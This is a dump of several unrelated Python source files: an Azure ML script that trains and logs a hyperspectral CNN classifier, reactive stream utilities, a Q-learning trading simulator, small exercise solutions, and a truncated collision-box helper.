raise AssertionError(\"{} hash check failed; please try redownloading \"\n \"the data file.\".format(localfile))\n","sub_path":"tests/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":1008,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"153212391","text":"#*#####################################################################################################\n#* DESCRIPTION OF THIS SCRIPT:\n#* Basic script to learn how to use the 'CubeManager' class from 'hsi_dataManager.py' file with Azure\n#* Machine Learning and Azure SDK for Python.\n#*######################################################################################################\n\nimport torch # Import PyTorch\nimport matplotlib.pyplot as plt # Import pyplots as plt\n\nfrom ..Libraries import hsi_dataManager as hsi_dm # Import 'hsi_dataManager.py' file as 'hsi_dm' to load use all desired functions \nfrom ..Libraries import nn_models as models # Import 'nn_models.py' file as 'models' to define any new Neural Network included in the file \nfrom ..Libraries import metrics as mts # Import 'metrics.py' file as 'mts' to evluate metrics\n\n# Import Azure SKD for Python packages\nfrom azureml.core import Run\n\nimport os # To extract path directory\nimport joblib # To save trained model\nimport argparse # To get all arguments passed to this script if using Azure\n\n#*#############################\n#*#### START MAIN PROGRAM #####\n#*\n\n# Python dictionary to convert labels to label4Classes\ndic_label = {'101': 1, '200': 2, '220': 2, '221': 2, '301': 3, '302': 4, '320': 5}\n\n# Variable to indicate if using data from Azure\nuseAzure = True\n\nif useAzure:\n\n # load the diabetes dataset\n print(\"Loading arguments from the control Script run...\")\n\n # Get script arguments \n # (file datasets mount points for gt maps and preprocessed cubes)\n parser = argparse.ArgumentParser()\n parser.add_argument('--gt-data', type=str, dest='data_folder', help='Ground truth map data mount point')\n parser.add_argument('--preProcessed-data', type=str, dest='data_folder', help='Pre-processed cubes data mount point')\n parser.add_argument('--patients_list_train', type=str, dest='patients_list_train', help='List of patients used to train CNN models')\n parser.add_argument('--patient_test', type=str, dest='patient_test', help='List of patients used to classify with trained CNN model')\n parser.add_argument('--batch_dim', type=str, dest='batch_dim', default='3D', help='Batch dimension (3D or 2D)')\n parser.add_argument('--epochs', type=int, dest='epochs', default=100, help='Number of epochs used to train CNN models')\n parser.add_argument('--batch_size', type=int, dest='batch_size', default=16, help='Size of batches. Number of patches included in each batch')\n parser.add_argument('--patch_size', type=int, dest='patch_size', default=7, help='Heigh and width size of patches (square patches)')\n parser.add_argument('--k_folds', type=int, dest='k_folds', default=5, help='Number of k-folds to use during double-cross validation')\n parser.add_argument('--learning_rate', type=float, dest='learning_rate', default=0.001, help='Learning rate parameter')\n parser.add_argument('--model_name', type=str, dest='model_name', default='Conv2DNet_default', help='Name of the CNN model')\n\n args = parser.parse_args()\n\n # Load all parameters passed as input to the script\n patients_list_train = [str(patient) for patient in args.patients_list_train.split(',')]\n patient_test = [args.patient_test]\n\n batch_dim = args.batch_dim\n epochs = args.epochs\n batch_size = args.batch_size\n patch_size = args.patch_size\n k_folds = args.k_folds\n lr = args.learning_rate\n model_name = args.model_name\n\n # Get the experiment run context\n run = Run.get_context()\n\n # Get the training data path from the input arguments\n # (they will be used when creating an instance from 'CubeManager' class)\n dir_gtMaps = run.input_datasets['gtMaps_data'] + '/'\n dir_preProImages = run.input_datasets['preProcessed_data'] + '/'\n\n # Save in log file all defined parameters\n run.log_list('Patients used for training', patients_list_train)\n run.log_list('Patients used for testing', patient_test)\n run.log('Batch dimensions', batch_dim)\n run.log('Number of epochs', epochs)\n run.log('Batch size', batch_size)\n run.log('Patch size', patch_size)\n run.log('Number of K folds', k_folds)\n run.log('Learning rates', lr)\n\nelse:\n # Desired patient images ID\n patients_list_train = ['ID0033C02']\n patient_test = ['ID0033C02']\n\n # Directories with data\n dir_datasets = \"NEMESIS_images/datasets/\"\n dir_gtMaps = \"NEMESIS_images/GroundTruthMaps/\"\n dir_preProImages = \"NEMESIS_images/preProcessedImages/\"\n dir_rawImages = \"NEMESIS_images/tif/\"\n\n # Python dictionary to convert labels to label4Classes\n dic_label = {'101': 1, '200': 2, '220': 2, '221': 2, '301': 3, '302': 4, '320': 5}\n\n # Determine dimension of batches for the Neural Network\n batch_dim = '3D'\n\n # Number of epochs\n epochs = 20\n\n # Batch size\n batch_size = 16\n\n # Patch size (recommended to be always odd)\n patch_size = 7\n\n # K_folds\n k_folds = 2\n\n # Learning rate\n lr = 0.01\n\n#*####################\n#* LOAD TRAIN IMAGES\nprint(\"\\n##########\")\nprint(\"Loading training images. Please wait...\")\n\n# Create an instance of 'CubeManager'\ncm_train = hsi_dm.CubeManager(patch_size = patch_size, batch_size = batch_size, dic_label = dic_label, batch_dim = batch_dim)\n\n# Load all desired pixels to the 'CubeManager' instance 'cm_train' (all data is stored inside the instance attributes)\ncm_train.load_patient_cubes(patients_list_train, dir_gtMaps, dir_preProImages)\n\nprint(\"\\tTraining images have been loaded. Creating training batches...\")\n\n# Create batches with the loaded data. Returns 'batches' which is a Python dictionary including 2 Python lists, 'data' and 'labels', containing all batches\nbatches_train = cm_train.create_batches()\n\nprint(\"\\tTraining batches have been created.\")\n\nif ( batch_dim == '2D' ):\n print(\"\\tConverting data and label batches to tensors...\")\n # Convert 'data' and 'label4Classes' batches to PyTorch tensors for training our Neural Network\n data_tensor_batch = cm_train.batch_to_tensor(batches_train['data'], data_type = torch.float)\n labels_tensor_batch = cm_train.batch_to_tensor(batches_train['label4Classes'], data_type = torch.LongTensor)\n\n print(\"\\tTensors have been created.\")\n\n#*######################\n#* TRAIN NEURAL NETWORK\nprint(\"\\n##########\")\nprint(\"Training your Neural Network. Please wait...\")\n\nif ( batch_dim == '2D' ):\n # Create a FourLayerNet model, which contains 4 fully connected layers with relu activation functions\n model = models.FourLayerNet(D_in = cm_train.data.shape[-1], H = 16, D_out = cm_train.numUniqueLabels)\n\n # Train FourLayerNet model\n model.trainNet(batch_x = data_tensor_batch, batch_y = labels_tensor_batch, epochs = epochs, plot = True, lr = lr)\n\nelif ( batch_dim == '3D' ):\n\n # Create a CrossValidator instance\n cv = hsi_dm.CrossValidator(batch_data=batches_train['cube'], batch_labels=batches_train['label'], k_folds=k_folds, numUniqueLabels=cm_train.numUniqueLabels, numBands=cm_train.numBands, epochs=epochs, lr=lr)\n\n # Perform K-fold double-cross validation\n cv.double_cross_validation()\n\n # Save in 'model' the best model obtained from the double-cross validation\n model = cv.bestModel\n\n#*###################\n#* LOAD TEST IMAGES\nprint(\"\\n##########\")\nprint(\"Loading test image. Please wait...\")\n\n# Create an instance of 'CubeManager'\ncm_test = hsi_dm.CubeManager(patch_size = patch_size, batch_size = batch_size, dic_label = dic_label, batch_dim = batch_dim)\n\n# Load all desired pixels to the 'CubeManager' instance 'cm_test' (all data is stored inside the instance attributes)\ncm_test.load_patient_cubes(patients_list = patient_test, dir_path_gt = dir_gtMaps, dir_par_preProcessed = dir_preProImages)\n\nprint(\"\\tTest image has been loaded. Creating test batches...\")\n\n# Create batches with the loaded data. Returns 'batches' which is a Python dictionary including 2 Python lists, 'data' and 'labels', containing all batches\nbatches_test = cm_test.create_batches()\n\nprint(\"\\tTest batches have been created. Converting data batches to tensors...\")\n\nif ( batch_dim == '2D' ):\n # Convert 'data' batches to PyTorch tensors for training our Neural Network\n data_tensor_batch_test = cm_test.batch_to_tensor(batches_test['data'], data_type = torch.float)\nelif ( batch_dim == '3D' ):\n # Convert 'cube' batches to PyTorch tensors for training our Neural Network\n data_tensor_batch_test = cm_test.batch_to_tensor(batches_test['cube'], data_type = torch.float)\n\nprint(\"\\tTensors have been created.\")\n\n#*##############################################\n#* PREDICT TEST IMAGES WITH OUT NEURAL NETWORK\nprint(\"\\n##########\")\nprint(\"Predict loaded test image with trained model.\")\nprint(\"\\nModel predicting patient image = \", cm_test.patients_list[0] )\n\nif ( batch_dim == '2D' ):\n # Predict with the FourLayerNet model\n pred_labels = model.predict(batch_x = data_tensor_batch_test)\nelif ( batch_dim == '3D' ):\n # Predict with the Conv2DNet model\n pred_labels = model.predict(batch_x = data_tensor_batch_test)\n\n#*##############################################\n#* COMPUTE METRICS WITH THE MODEL PREDICTION\n\nif ( batch_dim == '2D' ):\n # Evaluate how well the model can predict a new image unused during training\n # batches['label4Classes']: is a Python list where each element contains the labels for each of the samples in the corresponding batch\n # by calling the 'batch_to_label_vector()' method, we generate a column numpy array from the Python list and store all batches labels in order\n # pred_labels: is a numpy column vector with all predicted labels of all batches in order\n metrics = mts.get_metrics(cm_test.batch_to_label_vector(batches_test['label4Classes']), pred_labels, cm_test.numUniqueLabels)\n\nelif ( batch_dim == '3D' ):\n # 'batches_test['label']' contains (x_coord, y_coord, labels). We first convert this Python list to a label vector.\n # Then we need to extract all labels by using '[:, -1]'. This gives a (N,) vector, but we need to make it (N,1) to\n # compare it with the predicted labels. Also, a conversion to 'int' is needed so 'get_metrics' works properly.\n metrics = mts.get_metrics(cm_test.batch_to_label_vector(batches_test['label'])[:, -1].reshape((-1,1)).astype(int), pred_labels, cm_test.numUniqueLabels)\n\n\nprint(\"\\nMetrics after predicting:\")\nprint('\\tOACC = ', str(metrics['OACC']))\nprint('\\tACC = ', str(metrics['ACC']))\nprint('\\tSEN = ', str(metrics['SEN']))\nprint('\\tSPE = ', str(metrics['SPE']))\nprint('\\tPRECISION = ', str(metrics['PRECISION']))\nprint('\\tCONFUSION MATRIX: \\n\\t', str(metrics['CON_MAT']))\n\n\n# If using Azure, log the metrics\nif useAzure:\n # Save in log file all obtained metrics\n run.log('OACC', metrics['OACC'])\n run.log_list('ACC', metrics['ACC'])\n run.log_list('SEN', metrics['SEN'])\n run.log_list('SPE', metrics['SPE'])\n run.log_list('PRECISSION', metrics['PRECISION'])\n run.log('CONFUSION MATRIX', metrics['CON_MAT'])\n\n#*###############################\n#* COMPUTE CLASSIFICATION MAP\n\nprint(\"\\n##########\")\nprint(\"Plotting classification maps\")\n\n# To compute classification maps, it is necessary to have used the 'CubeManager' class, since it\n# provides the X and Y coordenates for every pixel in every predicted batch.\n# Please note that 'DataManager' class does no provide the coordenates to any sample.\n\nif ( batch_dim == '2D' ):\n # Concatenate all list elements from 'batches_test['label4Classes']' (all label batches) to a numpy array\n true_labels = cm_test.concatenate_list_to_numpy(batches_test['label4Classes'])\n # Do the same with the coordenates to know the predicted label and its corresponding position\n label_coordenates = cm_test.concatenate_list_to_numpy(batches_test['label_coords']).astype(int)\n\n # Extract dimension of the loaded groundTruthMap for the test patient\n dims = cm_test.patient_cubes[patient_test[0]]['raw_groundTruthMap'].shape\n\n # Generate classification map from the predicted labels\n mts.get_classification_map(pred_labels, true_labels, label_coordenates, dims, title=\"Test classification Map\", plot = True, save_plot = False, save_path = None, plot_gt = False)\n\nif ( batch_dim == '3D' ):\n # Concatenate all list elements from 'batches_test['label']' (all label batches) to a numpy array\n true_labels = cm_test.concatenate_list_to_numpy(batches_test['label'])[:, -1].reshape((-1,1)).astype(int)\n # Do the same with the coordenates to know the predicted label and its corresponding position\n label_coordenates = cm_test.concatenate_list_to_numpy(batches_test['label'])[:, 0:-1].astype(int)\n\n # Extract dimension of the loaded groundTruthMap for the test patient\n dims = cm_test.patient_cubes[patient_test[0]]['pad_groundTruthMap'].shape\n\n # Generate classification map from the predicted labels\n fig_predMap, fig_GTs = mts.get_classification_map(pred_labels, true_labels, label_coordenates, dims = dims, title=\"Test classification Map\", plot = False, save_plot = False, save_path = None, plot_gt = True, padding=cm_test.pad_margin)\n\n#*######################################################\n#* PREDICT WITH THE MODEL THE ENTIRE PREPROCESSED CUBE\n\nprint(\"\\n##########\")\nprint(\"Predicting the entire preProcessed cube...\")\n\nif ( batch_dim == '3D' ):\n # Generate batches for the entire preProcessed cube\n cube_batch = cm_test.create_cube_batch()\n\n # Convert 'cube' batches to PyTorch tensors for training our Neural Network\n cube_tensor_batch = cm_test.batch_to_tensor(cube_batch['data'], data_type = torch.float)\n\n # Obtain 'cube' batches coordenates\n cube_coordenates = cm_test.concatenate_list_to_numpy(cube_batch['coords']).astype(int)\n\n # Predict with the Conv2DNet model\n pred_labels = model.predict(batch_x = cube_tensor_batch)\n\n # Generate classification map from the predicted labels\n fig_predCube, _ = mts.get_classification_map(pred_labels=pred_labels, true_labels=None, coordenates=cube_coordenates, dims=dims, title=\"Test Cube classification Map\", plot = False, save_plot = False, save_path = None, plot_gt = False, padding=cm_test.pad_margin)\n\n\n# If using Azure, log classification maps and end run\nif useAzure:\n\n run.log_list('Patients used to classify', patient_test)\n run.log_image(name='Predicted GT classification map', plot=fig_predMap)\n run.log_image(name='Predicted and true GT classification maps', plot=fig_GTs)\n run.log_image(name='Predicted cube classification map', plot=fig_predCube)\n run.log_image(name='Model loss and accuracy by epoch', plot=model.fig_epoch_loss_acc)\n\n # Save the trained model in the outputs folder\n os.makedirs('outputs', exist_ok=True)\n # Save best PyTorch model\n torch.save(model, './outputs/best_CNN_model.pt')\n # To solve the following error, we have to specifiy that the model will be used on a CPU\n # 'RuntimeError: Attempting to deserialize object on a CUDA device but torch.cuda.is_available() is False. \n # If you are running on a CPU-only machine, please use torch.load with map_location=torch.device('cpu') to map \n # your storages to the CPU.'\n PyTorch_model = torch.load('./outputs/best_CNN_model.pt', map_location=torch.device('cpu'))\n joblib.dump(value=PyTorch_model, filename='./outputs/PyTorch_model.pt')\n\n # Upload the model into the run history record\n # name = The name of the file to upload.\n # path_or_stream = The relative local path or stream to the file to upload.\n run.upload_file(name='./outputs/PyTorch_model.pt', path_or_stream='./outputs/PyTorch_model.pt')\n\n run.complete()\n \n print('\\nAzure run is now completed.')\n\n # Register the model\n run.register_model(model_path='./outputs/PyTorch_model.pt', model_name=model_name, model_framework='PyTorch', model_framework_version=torch.__version__)\n\n\n#*#### END MAIN PROGRAM #####\n#*###########################","sub_path":"Examples/example_CubeManager.py","file_name":"example_CubeManager.py","file_ext":"py","file_size_in_byte":15939,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"8372474","text":"import time\nimport types\nfrom .base import _wrap, FunctionWrapper, Foo, Const\ntry:\n from itertools import izip as zip\nexcept ImportError:\n pass\n\n\ndef Timer(foo_or_val, kwargs=None, interval=1, repeat=0):\n if not isinstance(foo_or_val, types.FunctionType):\n foo = Const(foo_or_val)\n else:\n foo = Foo(foo_or_val, kwargs or {})\n\n def _repeater(foo, repeat, interval):\n while repeat > 0:\n t1 = time.time()\n yield foo()\n t2 = time.time()\n\n if interval > 0:\n # sleep for rest of time that _p didnt take\n time.sleep(max(0, interval-(t2-t1)))\n repeat -= 1\n\n return _wrap(_repeater, dict(foo=foo, repeat=repeat, interval=interval), name='Timer', wraps=(foo,), share=foo)\n\n\ndef Delay(f_wrap, delay=1):\n if not isinstance(f_wrap, FunctionWrapper):\n raise Exception('Delay expects a tributary')\n\n def _delay(f_wrap, delay):\n for f in f_wrap():\n yield f\n time.sleep(delay)\n\n return _wrap(_delay, dict(f_wrap=f_wrap, delay=delay), name='Delay', wraps=(f_wrap,), share=f_wrap)\n\n\ndef State(foo, foo_kwargs=None, **state):\n foo = _wrap(foo, foo_kwargs or {}, name=foo.__name__, wraps=(foo,), state=state)\n return foo\n\n\ndef Apply(foo, f_wrap, foo_kwargs=None):\n if not isinstance(f_wrap, FunctionWrapper):\n raise Exception('Apply expects a tributary')\n\n foo = Foo(foo, foo_kwargs or {})\n foo._wraps = foo._wraps + (f_wrap, )\n\n def _apply(foo):\n for f in f_wrap():\n yield foo(f)\n\n return _wrap(_apply, dict(foo=foo), name='Apply', wraps=(foo,), share=foo)\n\n\ndef Window(foo, foo_kwargs=None, size=-1, full_only=True):\n foo = Foo(foo, foo_kwargs or {})\n\n accum = []\n\n def _window(foo, size, full_only, accum):\n for x in foo():\n if size == 0:\n yield x\n else:\n accum.append(x)\n\n if size > 0:\n accum = accum[-size:]\n if full_only:\n if len(accum) == size or size == -1:\n yield accum\n else:\n yield accum\n\n return _wrap(_window, dict(foo=foo, size=size, full_only=full_only, accum=accum), name='Window', wraps=(foo,), share=foo)\n\n\ndef Unroll(foo, foo_kwargs):\n foo = Foo(foo, foo_kwargs or {})\n\n def _unroll(foo):\n ret = foo()\n if isinstance(ret, list) or isinstance(ret, types.GeneratorType):\n for f in ret:\n yield f\n\n return _wrap(_unroll, dict(foo=foo), name='Unroll', wraps=(foo,), share=foo)\n\n\ndef UnrollDataFrame(df, json=True, wrap=False):\n def _unrolldf(val):\n for i in range(len(df)):\n row = df.iloc[i]\n if json:\n data = row.to_dict()\n data['index'] = row.name\n yield data\n else:\n yield row\n\n return _wrap(_unrolldf, dict(val=df), name='UnrollDataFrame', wraps=(df,))\n\n\ndef Merge(f_wrap1, f_wrap2):\n if not isinstance(f_wrap1, FunctionWrapper):\n raise Exception('Merge expects a tributary')\n\n if not isinstance(f_wrap2, FunctionWrapper):\n raise Exception('Merge expects a tributary')\n\n def _merge(foo1, foo2):\n for gen1, gen2 in zip(foo1(), foo2()):\n if isinstance(gen1, types.GeneratorType) and \\\n isinstance(gen2, types.GeneratorType):\n for f1, f2 in zip(gen1, gen2):\n yield [f1, f2]\n elif isinstance(gen1, types.GeneratorType):\n for f1 in gen1:\n yield [f1, gen2]\n elif isinstance(gen2, types.GeneratorType):\n for f2 in gen2:\n yield [gen1, f2]\n else:\n yield [gen1, gen2]\n\n return _wrap(_merge, dict(foo1=f_wrap1, foo2=f_wrap2), name='Merge', wraps=(f_wrap1, f_wrap2), share=None)\n\n\ndef ListMerge(f_wrap1, f_wrap2):\n if not isinstance(f_wrap1, FunctionWrapper):\n raise Exception('Merge expects a tributary')\n\n if not isinstance(f_wrap2, FunctionWrapper):\n raise Exception('Merge expects a tributary')\n\n def _merge(foo1, foo2):\n for gen1, gen2 in zip(foo1(), foo2()):\n if isinstance(gen1, types.GeneratorType) and \\\n isinstance(gen2, types.GeneratorType):\n for f1, f2 in zip(gen1, gen2):\n ret = []\n ret.extend(f1)\n ret.extend(f1)\n yield ret\n elif isinstance(gen1, types.GeneratorType):\n for f1 in gen1:\n ret = []\n ret.extend(f1)\n ret.extend(gen2)\n yield ret\n elif isinstance(gen2, types.GeneratorType):\n for f2 in gen2:\n ret = []\n ret.extend(gen1)\n ret.extend(f2)\n yield ret\n else:\n ret = []\n ret.extend(gen1)\n ret.extend(gen2)\n yield ret\n\n return _wrap(_merge, dict(foo1=f_wrap1, foo2=f_wrap2), name='ListMerge', wraps=(f_wrap1, f_wrap2), share=None)\n\n\ndef DictMerge(f_wrap1, f_wrap2):\n if not isinstance(f_wrap1, FunctionWrapper):\n raise Exception('Merge expects a tributary')\n\n if not isinstance(f_wrap2, FunctionWrapper):\n raise Exception('Merge expects a tributary')\n\n def _merge(foo1, foo2):\n for gen1, gen2 in zip(foo1(), foo2()):\n if isinstance(gen1, types.GeneratorType) and \\\n isinstance(gen2, types.GeneratorType):\n for f1, f2 in zip(gen1, gen2):\n ret = {}\n ret.update(f1)\n ret.update(f1)\n yield ret\n elif isinstance(gen1, types.GeneratorType):\n for f1 in gen1:\n ret = {}\n ret.update(f1)\n ret.update(gen2)\n yield ret\n elif isinstance(gen2, types.GeneratorType):\n for f2 in gen2:\n ret = {}\n ret.update(gen1)\n ret.update(f2)\n yield ret\n else:\n ret = {}\n ret.update(gen1)\n ret.update(gen2)\n yield ret\n\n return _wrap(_merge, dict(foo1=f_wrap1, foo2=f_wrap2), name='DictMerge', wraps=(f_wrap1, f_wrap2), share=None)\n\n\ndef Reduce(*f_wraps):\n for f_wrap in f_wraps:\n if not isinstance(f_wrap, FunctionWrapper):\n raise Exception('Reduce expects a tributary')\n\n def _reduce(foos):\n for all_gens in zip(*[foo() for foo in foos]):\n gens = []\n vals = []\n for gen in all_gens:\n if isinstance(gen, types.GeneratorType):\n gens.append(gen)\n else:\n vals.append(gen)\n if gens:\n for gens in zip(*gens):\n ret = list(vals)\n for gen in gens:\n ret.append(next(gen))\n yield ret\n else:\n yield vals\n\n return _wrap(_reduce, dict(foos=f_wraps), name='Reduce', wraps=tuple(f_wraps), share=None)\n","sub_path":"tributary/reactive/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":7348,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"347338819","text":"# -*- coding: utf-8 -*-\r\n# @Time : 2019/3/19 18:51\r\n# @Author : Sidian\r\n# @Email : sidian305@163.com\r\n# @File : 3.py\r\n# @Software: PyCharm\r\n'''\r\n3、编写偏函数实现计算圆周长\\面积\r\n'''\r\nfrom functools import partial\r\nimport math\r\n\r\ndef result(r):\r\n perimeter = math.pi * 2 * r\r\n area = math.pi * r * r\r\n return perimeter,area\r\n\r\ntemp = partial(result,r=3)\r\nprint(temp())\r\nprint('{:.2f},{:.2f}'.format(temp(r=1)[0],temp(r=1)[1]))","sub_path":"day6_HomeWork/3.py","file_name":"3.py","file_ext":"py","file_size_in_byte":460,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"537607430","text":"# Definition for a binary tree node.\n# class TreeNode(object):\n# def __init__(self, x):\n# self.val = x\n# self.left = None\n# self.right = None\n\nclass Solution(object):\n def sumNumbers(self, root):\n \"\"\"\n :type root: TreeNode\n :rtype: int\n \"\"\" \n \n if not root:\n return 0\n \n self.sum = 0\n self.psum(root, 0)\n return self.sum\n \n def psum(self, root, s):\n ps = s*10 + root.val\n \n if root.left:\n self.psum(root.left, ps)\n if root.right:\n self.psum(root.right, ps)\n \n if root.left is None and root.right is None:\n self.sum = self.sum + ps\n \n \n","sub_path":"sumrootleaf.py","file_name":"sumrootleaf.py","file_ext":"py","file_size_in_byte":746,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"431832268","text":"import numpy as np\r\nimport pandas as pd\r\n\r\nfrom datavengers_2020.simulation.q_agent import QAgent\r\nfrom datavengers_2020.simulation.market_simulation import MarketSim\r\n\r\n\r\nclass QLearner(object):\r\n \"\"\"\r\n Q-Learner\r\n \"\"\"\r\n\r\n def __init__(self, impact=0.0, indicators_count=5):\r\n self.impact = impact\r\n self.discretize_bins = 10\r\n self.indicators_count = indicators_count\r\n self.X = None\r\n self.max_epochs = 100\r\n self.min_epochs = 15\r\n\r\n # Initialize the QLearner. Number of states is the number of steps raised to the number of indicators\r\n states = pow(self.discretize_bins, self.indicators_count)\r\n self.agent = QAgent(num_states=states, num_actions=3)\r\n\r\n def __get_indicators(self):\r\n insert = 0\r\n indicators = pd.DataFrame(index=self.X.index)\r\n if \"SMA\" in self.X.columns:\r\n indicators.insert(insert, \"SMA\", self.X[\"SMA\"])\r\n insert += 1\r\n if \"EMA\" in self.X.columns:\r\n indicators.insert(insert, \"EMA\", self.X[\"EMA\"])\r\n insert += 1\r\n if \"RSI\" in self.X.columns:\r\n indicators.insert(insert, \"RSI\", self.X[\"RSI\"])\r\n insert += 1\r\n if \"CCI\" in self.X.columns:\r\n indicators.insert(insert, \"CCI\", self.X[\"CCI\"])\r\n insert += 1\r\n if \"Real Upper Band\" in self.X.columns:\r\n percent_b = (self.X[\"5. adjusted close\"] - self.X[\"Real Lower Band\"]) / (\r\n self.X[\"Real Upper Band\"] - self.X[\"Real Lower Band\"]\r\n )\r\n indicators.insert(insert, \"Percent_B\", percent_b)\r\n insert += 1\r\n\r\n return indicators\r\n\r\n def __discretization_bins(self, indicators):\r\n # Calculate step size\r\n ind_copy = indicators.copy()\r\n step_size = round(ind_copy.shape[0] / self.discretize_bins)\r\n thresholds = np.zeros(shape=(ind_copy.shape[1], self.discretize_bins))\r\n # Calculate thresholds for each indicator\r\n for i in range(self.indicators_count):\r\n # Sort by the current indicator\r\n indicator = ind_copy.columns[i]\r\n ind_copy.sort_values(by=indicator, inplace=True)\r\n # Calcualte the thresholds for this indicator\r\n for step in range(self.discretize_bins):\r\n # Ensure the last threshold is the largest number...will help for discretizing\r\n index = -1 if step == self.discretize_bins - 1 else int((step + 1) * step_size)\r\n thresholds[i, step] = ind_copy[indicator].iloc[index]\r\n\r\n return pd.DataFrame(thresholds, index=ind_copy.columns)\r\n\r\n def __discretize_indicators(self, indicators, thresholds):\r\n state = \"\"\r\n for i, val in indicators.iteritems():\r\n bin_idx = np.digitize([val], thresholds.loc[i], right=True)\r\n state += str(bin_idx[0])\r\n\r\n return int(state)\r\n\r\n def __check_convergence(self, returns, history=5):\r\n converged = False\r\n # If we dont have enough data for last N epochs then dont check for convergence\r\n if len(returns) >= history:\r\n last_n = returns[-history:]\r\n # No change in the last N cumulative returns\r\n converged = len(np.unique(last_n)) == 1\r\n\r\n return converged\r\n\r\n def __get_next_order(self, holdings, action):\r\n order = 0\r\n if action > 0 and holdings < 1000:\r\n order = 1000 if holdings == 0 else 2000\r\n elif action < 0 and holdings > -1000:\r\n order = -1000 if holdings == 0 else -2000\r\n\r\n return order\r\n\r\n def train(self, symbols, X, cash, shares):\r\n self.X = X\r\n indicators = self.__get_indicators()\r\n thresholds = self.__discretization_bins(indicators)\r\n epoch_cum_returns = []\r\n epoch = 1\r\n cont_learning = True\r\n while cont_learning:\r\n # DataFrame indexed by dates with number of trades for each date for the specified symbol\r\n orders = pd.DataFrame(index=self.X.index, columns=symbols)\r\n # Start off with no holdings\r\n holdings = 0\r\n # Go through each day and learn\r\n for i, date in enumerate(self.X.index):\r\n # Starting state\r\n state = self.__discretize_indicators(indicators.loc[date], thresholds)\r\n if i != 0:\r\n reward = holdings * (\r\n ((self.X.loc[date][\"5. adjusted close\"] / self.X.iloc[i - 1][\"5. adjusted close\"]) - self.impact) - 1\r\n )\r\n action = self.agent.query(state, reward)\r\n else:\r\n # Random action to start with\r\n action = self.agent.query_set_state(state)\r\n\r\n # Get the next order, if its the last day close out our holdings\r\n order = -holdings if date == self.X.index[-1] else self.__get_next_order(holdings, action - 1)\r\n orders[symbols[0]].loc[date] = action - 1\r\n holdings += order\r\n\r\n # Compute portfolio values and statistics to see how we are doing\r\n sim = MarketSim(start_cash=cash, start_shares=shares)\r\n portfolio = sim.simulate_market_order(symbols[0], orders, self.X)\r\n cr = portfolio.iloc[-1][\"value\"] / portfolio.iloc[0][\"value\"]\r\n epoch_cum_returns.append(cr)\r\n\r\n converged = False\r\n if epoch > self.min_epochs:\r\n # Check for convergence\r\n converged = self.__check_convergence(epoch_cum_returns)\r\n\r\n if epoch == self.max_epochs or converged:\r\n # If converged or max epochs has been reached stop learning\r\n cont_learning = False\r\n else:\r\n # Continue learning\r\n epoch += 1\r\n\r\n def predict(self, symbols, X):\r\n self.X = X\r\n indicators = self.__get_indicators()\r\n thresholds = self.__discretization_bins(indicators)\r\n orders = pd.DataFrame(index=self.X.index, columns=symbols)\r\n\r\n # Go through each day and learn\r\n for i, date in enumerate(self.X.index):\r\n # Starting state\r\n state = self.__discretize_indicators(indicators.loc[date], thresholds)\r\n action = self.agent.query_set_state(state)\r\n\r\n # Get the next order, if its the last day close out our holdings\r\n orders[symbols[0]].loc[date] = action - 1\r\n\r\n return orders\r\n","sub_path":"datavengers_2020/simulation/q_learner.py","file_name":"q_learner.py","file_ext":"py","file_size_in_byte":6502,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"252820911","text":"from collision import Vector, Poly, test_aabb\n\ndef get_route_boxes(pct):\n\n X = int(640*pct)\n Y = int(480*pct)\n\n CENTER_X= X//2\n TOP_X = CENTER_X\n TOP_Y = Y-int(220*pct)\n\n TWO_METERS_MIDDLE_LEFT = (int(265*pct), Y - int(33*pct)) \n TWO_METERS_MIDDLE_RIGHT = (int(375*pct), Y - int(33*pct))\n\n TWO_METERS_P1 = (int(-55*pct), int(-34*pct)) \n TWO_METERS_P2 = (int(-55*pct), int(34*pct))\n TWO_METERS_P3 = (int(55*pct), int(-34*pct))\n TWO_METERS_P4 = (int(55*pct), int(34*pct))\n\n THREE_METERS_MIDDLE_LEFT = (int(320*pct) - int(76*pct)//2, Y - int(91*pct))\n THREE_METERS_MIDDLE_RIGHT = (int(320*pct) + int(76*pct)//2, Y - int(91*pct))\n\n THREE_METERS_P1 = (int(-76*pct)//2, int(-50*pct)//2)\n THREE_METERS_P2 = (int(-76*pct)//2, int(50*pct)//2)\n THREE_METERS_P3 = (int(76*pct)//2, int(-50*pct)//2)\n THREE_METERS_P4 = (int(76*pct)//2, int(50*pct)//2)\n\n FOUR_METERS_MIDDLE_LEFT = (int(320*pct) - int(52*pct)//2, Y - int(134*pct))\n FOUR_METERS_MIDDLE_RIGHT = (int(320*pct) + int(52*pct)//2, Y - int(134*pct))\n\n FOUR_METERS_P1 = (int(-52*pct)//2, int(-38*pct)//2)\n FOUR_METERS_P2 = (int(-52*pct)//2, int(38*pct)//2)\n FOUR_METERS_P3 = (int(52*pct)//2, int(-38*pct)//2)\n FOUR_METERS_P4 = (int(52*pct)//2, int(38*pct)//2)\n\n FIVE_METERS_MIDDLE_LEFT = ( int(320*pct) - int(33*pct)//2, Y - int(170*pct))\n FIVE_METERS_MIDDLE_RIGHT = (int(320*pct) + int(33*pct)//2, Y - int(170*pct))\n\n FIVE_METERS_P1 = (int(-33*pct)//2, int(-30*pct)//2)\n FIVE_METERS_P2 = (int(-33*pct)//2, int(30*pct)//2)\n FIVE_METERS_P3 = (int(33*pct)//2, int(-30*pct)//2)\n FIVE_METERS_P4 = (int(33*pct)//2, int(30*pct)//2)\n\n SIX_METERS_MIDDLE_LEFT = (int(311*pct), Y - int(197*pct))\n SIX_METERS_MIDDLE_RIGHT = (int(329*pct), Y - int(197*pct))\n\n SIX_METERS_P1 = (int(-9*pct), int(-12*pct))\n SIX_METERS_P2 = (int(-9*pct), int(12*pct))\n SIX_METERS_P3 = (int(9*pct), int(-12*pct))\n SIX_METERS_P4 = (int(9*pct), int(12*pct))\n\n vec_6_l = Vector(SIX_METERS_MIDDLE_LEFT[0], SIX_METERS_MIDDLE_LEFT[-1])\n 